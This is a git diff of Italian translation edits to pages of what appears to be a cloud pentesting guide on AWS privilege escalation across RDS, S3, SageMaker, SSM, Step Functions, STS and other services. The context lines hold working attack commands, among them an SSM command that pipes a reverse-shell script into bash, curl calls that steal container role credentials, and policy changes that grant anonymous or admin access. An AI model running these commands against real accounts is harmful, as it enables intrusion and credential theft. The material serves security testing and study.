--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc.md @@ -33,7 +33,7 @@ psql postgresql://:@:5432/ ### rds-db:connect -Secondo la [**documentazione**](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/UsingWithRDS.IAMDBAuth.IAMPolicy.html), un utente con questo permesso potrebbe connettersi all'istanza DB. +Secondo le [**docs**](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/UsingWithRDS.IAMDBAuth.IAMPolicy.html), un utente con questo permesso potrebbe connettersi all'istanza DB. ### Abuso dei permessi IAM del ruolo RDS @@ -48,7 +48,7 @@ SELECT * FROM pg_extension; ``` Se trovi qualcosa come **`aws_s3`** puoi assumere che questo database ha **una sorta di accesso a S3** (ci sono altre estensioni come **`aws_ml`** e **`aws_lambda`**). -Inoltre, se hai i permessi per eseguire **`aws rds describe-db-clusters`** puoi vedere lì se il **cluster ha qualche ruolo IAM associato** nel campo **`AssociatedRoles`**. Se presente, puoi assumere che il database fosse **preparato per accedere ad altri servizi AWS**. Basandoti sul **nome del ruolo** (o se riesci a ottenere le **permissive** del ruolo) potresti **indovinare** quale accesso extra ha il database. +Inoltre, se hai i permessi per eseguire **`aws rds describe-db-clusters`** puoi vedere lì se il **cluster ha qualche ruolo IAM associato** nel campo **`AssociatedRoles`**. Se presente, puoi assumere che il database fosse **preparato per accedere ad altri servizi AWS**. Basandoti sul **nome del ruolo** (o se riesci a ottenere i **permessi** del ruolo) potresti **indovinare** quale accesso extra ha il database. Ora, per **leggere un file all'interno di un bucket** devi conoscere il percorso completo. Puoi leggerlo con: ```sql @@ -71,7 +71,7 @@ SELECT * from ttemp; // Delete table DROP TABLE ttemp; ``` -Se avessi **credenziali AWS raw** potresti anche usarle per accedere ai dati S3 con: +Se avessi **credenziali AWS grezze** potresti anche usarle per accedere ai dati S3 con: ```sql SELECT aws_s3.table_import_from_s3( 't', '', '(format csv)', @@ -80,7 +80,7 @@ aws_commons.create_aws_credentials('sample_access_key', 'sample_secret_key', '') ); ``` > [!NOTE] -> Postgresql **non ha bisogno di modificare alcuna variabile del gruppo di parametri** per poter accedere a S3. +> Postgresql **non ha bisogno di cambiare alcuna variabile del gruppo di parametri** per poter accedere a S3. #### Mysql (Aurora) @@ -131,7 +131,7 @@ Un attaccante con i permessi `rds:CreateDBInstance` e `iam:PassRole` può **crea > - Il profilo deve esistere nel tuo account. > - Il profilo deve avere un ruolo IAM che Amazon EC2 ha il permesso di assumere. -> - Il nome del profilo dell'istanza e il nome del ruolo IAM associato devono iniziare con il prefisso `AWSRDSCustom`. +> - Il nome del profilo istanza e il nome del ruolo IAM associato devono iniziare con il prefisso `AWSRDSCustom`. ```bash aws rds create-db-instance --db-instance-identifier malicious-instance --db-instance-class db.t2.micro --engine mysql --allocated-storage 20 --master-username admin --master-user-password mypassword --db-name mydatabase --vapc-security-group-ids sg-12345678 --db-subnet-group-name mydbsubnetgroup --enable-iam-database-authentication --custom-iam-instance-profile arn:aws:iam::123456789012:role/MyRDSEnabledRole ``` diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc.md index bd02b67b5..7538ac8d7 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc.md @@ -19,7 +19,7 @@ aws redshift get-cluster-credentials --db-user postgres --cluster-identifier red # Connect, even if the password is a base64 string, that is the password psql -h redshift-cluster-1.asdjuezc439a.us-east-1.redshift.amazonaws.com -U "IAM:" -d template1 -p 5439 ``` -**Impatto Potenziale:** Trova informazioni sensibili all'interno dei database. +**Impatto Potenziale:** Trovare informazioni sensibili all'interno dei database. ### `redshift:DescribeClusters`, `redshift:GetClusterCredentialsWithIAM` @@ -35,11 +35,11 @@ psql -h redshift-cluster-1.asdjuezc439a.us-east-1.redshift.amazonaws.com -U "IAM ### `redshift:DescribeClusters`, `redshift:ModifyCluster?` -È possibile **modificare la password principale** dell'utente postgres interno (redshit) da aws cli (penso che queste siano le autorizzazioni di cui hai bisogno, ma non le ho ancora testate): +È possibile **modificare la password principale** dell'utente postgres interno (redshit) da aws cli (penso che queste siano le autorizzazioni necessarie, ma non le ho ancora testate): ``` aws redshift modify-cluster –cluster-identifier –master-user-password ‘master-password’; ``` -**Impatto Potenziale:** Trova informazioni sensibili all'interno dei database. +**Impatto Potenziale:** Trovare informazioni sensibili all'interno dei database. ## Accesso ai Servizi Esterni @@ -88,7 +88,7 @@ iam_role 'arn:aws:iam::0123456789012:role/MyRedshiftRole'; Controlla [https://docs.aws.amazon.com/redshift/latest/dg/loading-data-from-emr.html](https://docs.aws.amazon.com/redshift/latest/dg/loading-data-from-emr.html) -## References +## Riferimenti - [https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a](https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a) diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md index edc6b81bd..39ecc810f 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md @@ -48,11 +48,11 @@ Un attaccante con **accesso in lettura** a questi file potrebbe trovare **inform Un attaccante con **accesso in scrittura** a questi file potrebbe **modificare i dati per abusare di qualche servizio e cercare di elevare i privilegi**.\ Ecco alcuni esempi: -- Se un'istanza EC2 sta memorizzando i **dati utente in un bucket S3**, un attaccante potrebbe modificarli per **eseguire codice arbitrario all'interno dell'istanza EC2**. +- Se un'istanza EC2 memorizza i **dati utente in un bucket S3**, un attaccante potrebbe modificarli per **eseguire codice arbitrario all'interno dell'istanza EC2**. ### `s3:PutBucketPolicy` -Un attaccante, che deve essere **dallo stesso account**, altrimenti si attiverà l'errore `The specified method is not allowed`, con questo permesso sarà in grado di concedersi ulteriori autorizzazioni sui bucket, permettendogli di leggere, scrivere, modificare, eliminare ed esporre i bucket. +Un attaccante, che deve essere **dallo stesso account**, altrimenti si attiverà l'errore `The specified method is not allowed`, con questo permesso sarà in grado di concedere a se stesso più autorizzazioni sui bucket, permettendogli di leggere, scrivere, modificare, eliminare ed esporre i bucket. ```bash # Update Bucket policy aws s3api put-bucket-policy --policy file:///root/policy.json --bucket @@ -110,7 +110,7 @@ aws s3api put-bucket-policy --policy file:///root/policy.json --bucket --access-control-policy file://a ``` ### `s3:GetObjectAcl`, `s3:PutObjectAcl` -Un attaccante potrebbe abusare di questi permessi per concedersi un accesso maggiore su oggetti specifici all'interno dei bucket. +Un attaccante potrebbe abusare di questi permessi per concedersi maggiore accesso su oggetti specifici all'interno dei bucket. ```bash # Update bucket object ACL aws s3api get-object-acl --bucket --key flag diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md index d4c3e42cb..ce3136e9a 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md @@ -29,11 +29,11 @@ Se ci sono **notebook Jupyter già in esecuzione** su di esso e puoi elencarli c ```bash aws sagemaker create-presigned-notebook-instance-url --notebook-instance-name ``` -**Impatto Potenziale:** Privesc al ruolo di servizio sagemaker attaccato. +**Impatto Potenziale:** Privesc al ruolo di servizio sagemaker associato. ### `sagemaker:CreateProcessingJob,iam:PassRole` -Un attaccante con tali permessi può far **eseguire a sagemaker un processingjob** con un ruolo sagemaker attaccato. L'attaccante può indicare la definizione del contenitore che verrà eseguito in un **istanza di account ECS gestita da AWS**, e **rubare le credenziali del ruolo IAM attaccato**. +Un attaccante con tali permessi può far **eseguire a sagemaker un processingjob** con un ruolo sagemaker ad esso associato. L'attaccante può indicare la definizione del contenitore che verrà eseguito in un **istanza di account ECS gestita da AWS**, e **rubare le credenziali del ruolo IAM associato**. ```bash # I uploaded a python docker image to the ECR aws sagemaker create-processing-job \ @@ -49,7 +49,7 @@ curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" #To get the c ### `sagemaker:CreateTrainingJob`, `iam:PassRole` -Un attaccante con questi permessi sarà in grado di creare un lavoro di addestramento, **eseguendo un contenitore arbitrario** su di esso con un **ruolo allegato**. Pertanto, l'attaccante sarà in grado di rubare le credenziali del ruolo. +Un attaccante con questi permessi sarà in grado di creare un lavoro di addestramento, **eseguendo un container arbitrario** su di esso con un **ruolo allegato**. Pertanto, l'attaccante sarà in grado di rubare le credenziali del ruolo. > [!WARNING] > Questo scenario è più difficile da sfruttare rispetto al precedente perché è necessario generare un'immagine Docker che invierà la rev shell o le credenziali direttamente all'attaccante (non è possibile indicare un comando di avvio nella configurazione del lavoro di addestramento). @@ -94,7 +94,7 @@ curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" ### `sagemaker:CreateHyperParameterTuningJob`, `iam:PassRole` -Un attaccante con tali permessi sarà (potenzialmente) in grado di creare un **lavoro di addestramento degli iperparametri**, **eseguendo un contenitore arbitrario** su di esso con un **ruolo allegato**.\ +Un attaccante con questi permessi sarà (potenzialmente) in grado di creare un **lavoro di addestramento degli iperparametri**, **eseguendo un contenitore arbitrario** su di esso con un **ruolo allegato**.\ &#xNAN;_I non ho sfruttato a causa della mancanza di tempo, ma sembra simile agli exploit precedenti, sentiti libero di inviare una PR con i dettagli dello sfruttamento._ ## Riferimenti diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc.md index 6d8e25b95..f38906d98 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc.md @@ -16,11 +16,11 @@ Un attaccante con questo permesso può ottenere il **valore salvato all'interno ```bash aws secretsmanager get-secret-value --secret-id # Get value ``` -**Impatto Potenziale:** Accesso a dati altamente sensibili all'interno del servizio AWS Secrets Manager. +**Impatto Potenziale:** Accesso a dati altamente sensibili all'interno del servizio AWS secrets manager. ### `secretsmanager:GetResourcePolicy`, `secretsmanager:PutResourcePolicy`, (`secretsmanager:ListSecrets`) -Con i permessi precedenti è possibile **dare accesso ad altri principi/account (anche esterni)** per accedere al **segreto**. Nota che per **leggere segreti crittografati** con una chiave KMS, l'utente deve anche avere **accesso sulla chiave KMS** (maggiori informazioni nella [pagina di enumerazione KMS](../aws-services/aws-kms-enum.md)). +Con i permessi precedenti è possibile **dare accesso ad altri principi/account (anche esterni)** per accedere al **segreto**. Nota che per **leggere segreti crittografati** con una chiave KMS, l'utente deve anche avere **accesso sulla chiave KMS** (maggiori informazioni nella [pagina KMS Enum](../aws-services/aws-kms-enum.md)). ```bash aws secretsmanager list-secrets aws secretsmanager get-resource-policy --secret-id diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md index fcfe09aa6..c7a702e3d 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md @@ -12,11 +12,11 @@ Per ulteriori informazioni controlla: ### `sns:Publish` -Un attaccante potrebbe inviare messaggi dannosi o indesiderati al topic SNS, potenzialmente causando corruzione dei dati, attivando azioni non intenzionali o esaurendo le risorse. +Un attaccante potrebbe inviare messaggi dannosi o indesiderati al topic SNS, causando potenzialmente corruzione dei dati, attivando azioni non intenzionali o esaurendo le risorse. ```bash aws sns publish --topic-arn --message ``` -**Impatto Potenziale**: Sfruttamento della vulnerabilità, Corruzione dei dati, azioni non intenzionali o esaurimento delle risorse. +**Impatto Potenziale**: Sfruttamento delle vulnerabilità, Corruzione dei dati, azioni non intenzionali o esaurimento delle risorse. ### `sns:Subscribe` @@ -24,11 +24,11 @@ Un attaccante potrebbe iscriversi a un argomento SNS, guadagnando potenzialmente ```bash aws sns subscribe --topic-arn --protocol --endpoint ``` -**Impatto Potenziale**: Accesso non autorizzato ai messaggi (info sensibili), interruzione del servizio per le applicazioni che dipendono dall'argomento interessato. +**Impatto Potenziale**: Accesso non autorizzato ai messaggi (informazioni sensibili), interruzione del servizio per le applicazioni che dipendono dall'argomento interessato. ### `sns:AddPermission` -Un attaccante potrebbe concedere accesso a utenti o servizi non autorizzati a un argomento SNS, potenzialmente ottenendo ulteriori permessi. +Un attaccante potrebbe concedere a utenti o servizi non autorizzati l'accesso a un argomento SNS, potenzialmente ottenendo ulteriori permessi. ```css aws sns add-permission --topic-arn --label --aws-account-id --action-name ``` diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc.md index ba697ee9e..7ee1ef86c 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc.md @@ -18,7 +18,7 @@ cssCopy codeaws sqs add-permission --queue-url --actions --aws-a ``` **Impatto Potenziale**: Accesso non autorizzato alla coda, esposizione dei messaggi o manipolazione della coda da parte di utenti o servizi non autorizzati. -### `sqs:SendMessage` , `sqs:SendMessageBatch` +### `sqs:SendMessage`, `sqs:SendMessageBatch` Un attaccante potrebbe inviare messaggi dannosi o indesiderati alla coda SQS, causando potenzialmente corruzione dei dati, attivazione di azioni non intenzionali o esaurimento delle risorse. ```bash diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc.md index c0121f6d2..9e5a72808 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc.md @@ -12,7 +12,7 @@ Per ulteriori informazioni su SSM controlla: ### `ssm:SendCommand` -Un attaccante con il permesso **`ssm:SendCommand`** può **eseguire comandi nelle istanze** che eseguono l'Amazon SSM Agent e **compromettere il ruolo IAM** in esecuzione al suo interno. +Un attaccante con il permesso **`ssm:SendCommand`** può **eseguire comandi nelle istanze** che eseguono l'Amazon SSM Agent e **compromettere il ruolo IAM** che vi opera all'interno. ```bash # Check for configured instances aws ssm describe-instance-information @@ -31,11 +31,11 @@ aws ssm send-command --instance-ids "$INSTANCE_ID" \ --document-name "AWS-RunShellScript" --output text \ --parameters commands="curl https://reverse-shell.sh/127.0.0.1:4444 | bash" ``` -**Impatto Potenziale:** Privesc diretto ai ruoli IAM EC2 attaccati a istanze in esecuzione con SSM Agents in esecuzione. +**Impatto Potenziale:** Privilegi di escalation diretti ai ruoli IAM EC2 associati a istanze in esecuzione con agenti SSM attivi. ### `ssm:StartSession` -Un attaccante con il permesso **`ssm:StartSession`** può **avviare una sessione simile a SSH nelle istanze** che eseguono l'Amazon SSM Agent e **compromettere il Ruolo IAM** in esecuzione al suo interno. +Un attaccante con il permesso **`ssm:StartSession`** può **avviare una sessione simile a SSH nelle istanze** che eseguono l'agente Amazon SSM e **compromettere il ruolo IAM** in esecuzione al suo interno. ```bash # Check for configured instances aws ssm describe-instance-information @@ -72,7 +72,7 @@ aws ssm describe-sessions aws ssm resume-session \ --session-id Mary-Major-07a16060613c408b5 ``` -**Impatto Potenziale:** Privesc diretto ai ruoli IAM EC2 attaccati a istanze in esecuzione con agenti SSM in esecuzione e sessioni disconnesse. +**Impatto Potenziale:** Privilegi di escalation diretti ai ruoli IAM EC2 associati a istanze in esecuzione con agenti SSM in esecuzione e sessioni disconnesse. ### `ssm:DescribeParameters`, (`ssm:GetParameter` | `ssm:GetParameters`) @@ -87,7 +87,7 @@ aws ssm get-parameter --name id_rsa --with-decryption ### `ssm:ListCommands` -Un attaccante con questo permesso può elencare tutti i **comandi** inviati e sperare di trovare **informazioni sensibili** in essi. +Un attaccante con questo permesso può elencare tutti i **comandi** inviati e, si spera, trovare **informazioni sensibili** in essi. ``` aws ssm list-commands ``` @@ -103,7 +103,7 @@ aws ssm list-command-invocations aws ssm get-command-invocation --command-id --instance-id ``` -**Impatto Potenziale:** Trova informazioni sensibili all'interno dell'output delle righe di comando. +**Impatto Potenziale:** Trovare informazioni sensibili all'interno dell'output dei comandi. ### Codebuild diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc.md index e2cc5938a..b91913950 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc.md @@ -12,12 +12,12 @@ Per ulteriori informazioni su AWS Identity Center / AWS SSO controlla: > [!WARNING] > Nota che per **default**, solo **utenti** con permessi **dalla** **Management Account** potranno accedere e **controllare l'IAM Identity Center**.\ -> Gli utenti di altri account possono farlo solo se l'account è un **Delegated Adminstrator.**\ +> Gli utenti di altri account possono farlo solo se l'account è un **Delegated Administrator.**\ > [Controlla la documentazione per ulteriori informazioni.](https://docs.aws.amazon.com/singlesignon/latest/userguide/delegated-admin.html) ### ~~Reset Password~~ -Un modo semplice per escalare i privilegi in casi come questo sarebbe avere un permesso che consente di reimpostare le password degli utenti. Sfortunatamente, è possibile solo inviare un'email all'utente per reimpostare la sua password, quindi avresti bisogno di accesso all'email dell'utente. +Un modo semplice per escalare i privilegi in casi come questo sarebbe avere un permesso che consente di reimpostare le password degli utenti. Sfortunatamente, è possibile solo inviare un'email all'utente per reimpostare la sua password, quindi avresti bisogno di accesso all'email degli utenti. ### `identitystore:CreateGroupMembership` @@ -105,7 +105,7 @@ aws sso-admin delete-inline-policy-from-permission-set --instance-arn --permission-set-arn ``` diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md index 8b52f11d7..e415c11ee 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md @@ -18,18 +18,18 @@ Per controllare tutte le azioni possibili, puoi andare nel tuo account AWS, sele
-Oppure puoi anche andare nella documentazione API AWS e controllare la documentazione di ciascuna azione: +Oppure puoi anche andare alla documentazione API AWS e controllare la documentazione di ciascuna azione: - [**AddUserToGroup**](https://docs.aws.amazon.com/IAM/latest/APIReference/API_AddUserToGroup.html) - [**GetSecretValue**](https://docs.aws.amazon.com/secretsmanager/latest/apireference/API_GetSecretValue.html) ### `states:TestState` & `iam:PassRole` -Un attaccante con i permessi **`states:TestState`** & **`iam:PassRole`** può testare qualsiasi stato e passare qualsiasi ruolo IAM ad esso senza creare o aggiornare una macchina a stati esistente, abilitando l'accesso non autorizzato ad altri servizi AWS con i permessi dei ruoli. Potenzialmente. Combinati, questi permessi possono portare a estese azioni non autorizzate, dalla manipolazione dei flussi di lavoro per alterare i dati a violazioni dei dati, manipolazione delle risorse e escalation dei privilegi. +Un attaccante con i permessi **`states:TestState`** & **`iam:PassRole`** può testare qualsiasi stato e passare qualsiasi ruolo IAM senza creare o aggiornare una macchina a stati esistente, abilitando l'accesso non autorizzato ad altri servizi AWS con i permessi dei ruoli. Potenzialmente. Combinati, questi permessi possono portare a estese azioni non autorizzate, dalla manipolazione dei flussi di lavoro per alterare i dati a violazioni dei dati, manipolazione delle risorse e escalation dei privilegi. ```bash aws states test-state --definition --role-arn [--input ] [--inspection-level ] [--reveal-secrets | --no-reveal-secrets] ``` -I seguenti esempi mostrano come testare uno stato che crea una chiave di accesso per l'utente **`admin`** sfruttando queste autorizzazioni e un ruolo permissivo dell'ambiente AWS. Questo ruolo permissivo dovrebbe avere associata qualsiasi policy ad alta privilegio (ad esempio **`arn:aws:iam::aws:policy/AdministratorAccess`**) che consente allo stato di eseguire l'azione **`iam:CreateAccessKey`**: +I seguenti esempi mostrano come testare uno stato che crea una chiave di accesso per l'utente **`admin`** sfruttando queste autorizzazioni e un ruolo permissivo dell'ambiente AWS. Questo ruolo permissivo dovrebbe avere associata una policy ad alta privilegio (ad esempio **`arn:aws:iam::aws:policy/AdministratorAccess`**) che consente allo stato di eseguire l'azione **`iam:CreateAccessKey`**: - **stateDefinition.json**: ```json @@ -59,7 +59,7 @@ aws stepfunctions test-state --definition file://stateDefinition.json --role-arn "status": "SUCCEEDED" } ``` -**Impatto Potenziale**: Esecuzione non autorizzata e manipolazione di flussi di lavoro e accesso a risorse sensibili, che potrebbero portare a significative violazioni della sicurezza. +**Impatto Potenziale**: Esecuzione non autorizzata e manipolazione dei flussi di lavoro e accesso a risorse sensibili, che potrebbero portare a significative violazioni della sicurezza. ### `states:CreateStateMachine` & `iam:PassRole` & (`states:StartExecution` | `states:StartSyncExecution`) @@ -132,13 +132,13 @@ aws stepfunctions start-execution --state-machine-arn arn:aws:states:us-east-1:1 } ``` > [!WARNING] -> Il bucket S3 controllato dall'attaccante dovrebbe avere permessi per accettare un'azione s3:PutObject dall'account vittima. +> Il bucket S3 controllato dall'attaccante dovrebbe avere i permessi per accettare un'azione s3:PutObject dall'account della vittima. -**Impatto Potenziale**: Esecuzione non autorizzata e manipolazione dei flussi di lavoro e accesso a risorse sensibili, potenzialmente portando a significative violazioni della sicurezza. +**Impatto Potenziale**: Esecuzione non autorizzata e manipolazione dei flussi di lavoro e accesso a risorse sensibili, che potrebbero portare a significative violazioni della sicurezza. ### `states:UpdateStateMachine` & (non sempre richiesto) `iam:PassRole` -Un attaccante con il permesso **`states:UpdateStateMachine`** sarebbe in grado di modificare la definizione di una macchina a stati, potendo aggiungere stati stealth extra che potrebbero portare a un'escalation dei privilegi. In questo modo, quando un utente legittimo avvia un'esecuzione della macchina a stati, questo nuovo stato stealth malevolo verrà eseguito e l'escalation dei privilegi avrà successo. +Un attaccante con il permesso **`states:UpdateStateMachine`** sarebbe in grado di modificare la definizione di una macchina a stati, potendo aggiungere stati stealth aggiuntivi che potrebbero portare a un'escalation dei privilegi. In questo modo, quando un utente legittimo avvia un'esecuzione della macchina a stati, questo nuovo stato stealth malevolo verrà eseguito e l'escalation dei privilegi avrà successo. A seconda di quanto permissivo sia il Ruolo IAM associato alla macchina a stati, un attaccante si troverebbe di fronte a 2 situazioni: @@ -148,10 +148,10 @@ A seconda di quanto permissivo sia il Ruolo IAM associato alla macchina a stati, aws states update-state-machine --state-machine-arn [--definition ] [--role-arn ] [--logging-configuration ] \ [--tracing-configuration ] [--publish | --no-publish] [--version-description ] ``` -Ecco alcuni esempi che mostrano come aggiornare una macchina a stati legittima che invoca semplicemente una funzione Lambda HelloWorld, per aggiungere uno stato extra che aggiunge l'utente **`unprivilegedUser`** al gruppo IAM **`administrator`**. In questo modo, quando un utente legittimo avvia un'esecuzione della macchina a stati aggiornata, questo nuovo stato stealth malevolo verrà eseguito e l'escalation dei privilegi avrà successo. +I seguenti esempi mostrano come aggiornare una macchina a stati legittima che invoca semplicemente una funzione Lambda HelloWorld, per aggiungere uno stato extra che aggiunge l'utente **`unprivilegedUser`** al gruppo IAM **`administrator`**. In questo modo, quando un utente legittimo avvia un'esecuzione della macchina a stati aggiornata, questo nuovo stato stealth malevolo verrà eseguito e l'escalation dei privilegi avrà successo. > [!WARNING] -> Se la macchina a stati non ha un ruolo IAM permissivo associato, sarebbe anche necessario il permesso **`iam:PassRole`** per aggiornare il ruolo IAM al fine di associare un ruolo IAM permissivo (ad esempio uno con la policy **`arn:aws:iam::aws:policy/AdministratorAccess`** allegata). +> Se la macchina a stati non ha un ruolo IAM permissivo associato, sarebbe anche necessaria l'autorizzazione **`iam:PassRole`** per aggiornare il ruolo IAM al fine di associare un ruolo IAM permissivo (ad esempio uno con la policy **`arn:aws:iam::aws:policy/AdministratorAccess`** allegata). {{#tabs }} {{#tab name="Legit State Machine" }} @@ -181,7 +181,7 @@ Ecco alcuni esempi che mostrano come aggiornare una macchina a stati legittima c ``` {{#endtab }} -{{#tab name="Macchina di Stato Aggiornata Maligna" }} +{{#tab name="Macchina a Stato Aggiornato Maligno" }} ```json { "Comment": "Hello world from Lambda state machine", @@ -226,6 +226,6 @@ aws stepfunctions update-state-machine --state-machine-arn arn:aws:states:us-eas "revisionId": "1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f" } ``` -**Impatto Potenziale**: Esecuzione non autorizzata e manipolazione di flussi di lavoro e accesso a risorse sensibili, che potrebbero portare a gravi violazioni della sicurezza. +**Impatto Potenziale**: Esecuzione non autorizzata e manipolazione dei flussi di lavoro e accesso a risorse sensibili, che potrebbero portare a significative violazioni della sicurezza. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc.md index 6fbabb304..e3851f029 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc.md @@ -6,9 +6,9 @@ ### `sts:AssumeRole` -Ogni ruolo è creato con una **politica di fiducia del ruolo**, questa politica indica **chi può assumere il ruolo creato**. Se un ruolo dello **stesso account** afferma che un account può assumerlo, significa che l'account sarà in grado di accedere al ruolo (e potenzialmente **privesc**). +Ogni ruolo è creato con una **policy di fiducia del ruolo**, questa policy indica **chi può assumere il ruolo creato**. Se un ruolo dello **stesso account** dice che un account può assumerlo, significa che l'account sarà in grado di accedere al ruolo (e potenzialmente **privesc**). -Ad esempio, la seguente politica di fiducia del ruolo indica che chiunque può assumerlo, quindi **qualsiasi utente sarà in grado di privesc** ai permessi associati a quel ruolo. +Ad esempio, la seguente policy di fiducia del ruolo indica che chiunque può assumerlo, quindi **qualsiasi utente sarà in grado di privesc** ai permessi associati a quel ruolo. ```json { "Version": "2012-10-17", @@ -78,11 +78,11 @@ Un esempio di una policy di fiducia con questo permesso è: ] } ``` -Per generare credenziali per impersonare il ruolo in generale potresti usare qualcosa come: +Per generare credenziali per impersonare il ruolo in generale, potresti usare qualcosa come: ```bash aws sts assume-role-with-saml --role-arn --principal-arn ``` -Ma i **provider** potrebbero avere i **loro strumenti** per semplificare questo, come [onelogin-aws-assume-role](https://github.com/onelogin/onelogin-python-aws-assume-role): +Ma i **provider** potrebbero avere i **loro strumenti** per rendere questo più facile, come [onelogin-aws-assume-role](https://github.com/onelogin/onelogin-python-aws-assume-role): ```bash onelogin-aws-assume-role --onelogin-subdomain mettle --onelogin-app-id 283740 --aws-region eu-west-1 -z 3600 ``` @@ -92,7 +92,7 @@ onelogin-aws-assume-role --onelogin-subdomain mettle --onelogin-app-id 283740 -- Questa autorizzazione consente di ottenere un insieme di credenziali di sicurezza temporanee per **utenti che sono stati autenticati in un'applicazione mobile, web, EKS...** con un provider di identità web. [Scopri di più qui.](https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRoleWithWebIdentity.html) -Ad esempio, se un **account di servizio EKS** dovrebbe essere in grado di **fingere un ruolo IAM**, avrà un token in **`/var/run/secrets/eks.amazonaws.com/serviceaccount/token`** e può **assumere il ruolo e ottenere credenziali** facendo qualcosa come: +Ad esempio, se un **account di servizio EKS** dovrebbe essere in grado di **impersonare un ruolo IAM**, avrà un token in **`/var/run/secrets/eks.amazonaws.com/serviceaccount/token`** e può **assumere il ruolo e ottenere credenziali** facendo qualcosa come: ```bash aws sts assume-role-with-web-identity --role-arn arn:aws:iam::123456789098:role/ --role-session-name something --web-identity-token file:///var/run/secrets/eks.amazonaws.com/serviceaccount/token # The role name can be found in the metadata of the configuration of the pod diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc.md index 7854c5ee6..975705bf6 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc.md @@ -2,7 +2,7 @@ ## WorkDocs -Per ulteriori informazioni su WorkDocs, controlla: +Per ulteriori informazioni su WorkDocs controlla: {{#ref}} ../aws-services/aws-directory-services-workdocs-enum.md @@ -30,7 +30,7 @@ aws workdocs get-document --document-id ``` ### `workdocs:AddResourcePermissions` -Se non hai accesso per leggere qualcosa, puoi semplicemente concederlo +Se non hai accesso per leggere qualcosa, puoi semplicemente concederlo. ```bash # Add permission so anyway can see the file aws workdocs add-resource-permissions --resource-id --principals Id=anonymous,Type=ANONYMOUS,Role=VIEWER diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc.md index dd3fc19d5..f757de2c8 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc.md @@ -25,7 +25,7 @@ aws scheduler create-schedule \ "RoleArn": "arn:aws:iam:::role/" }' ``` -In aggiunta 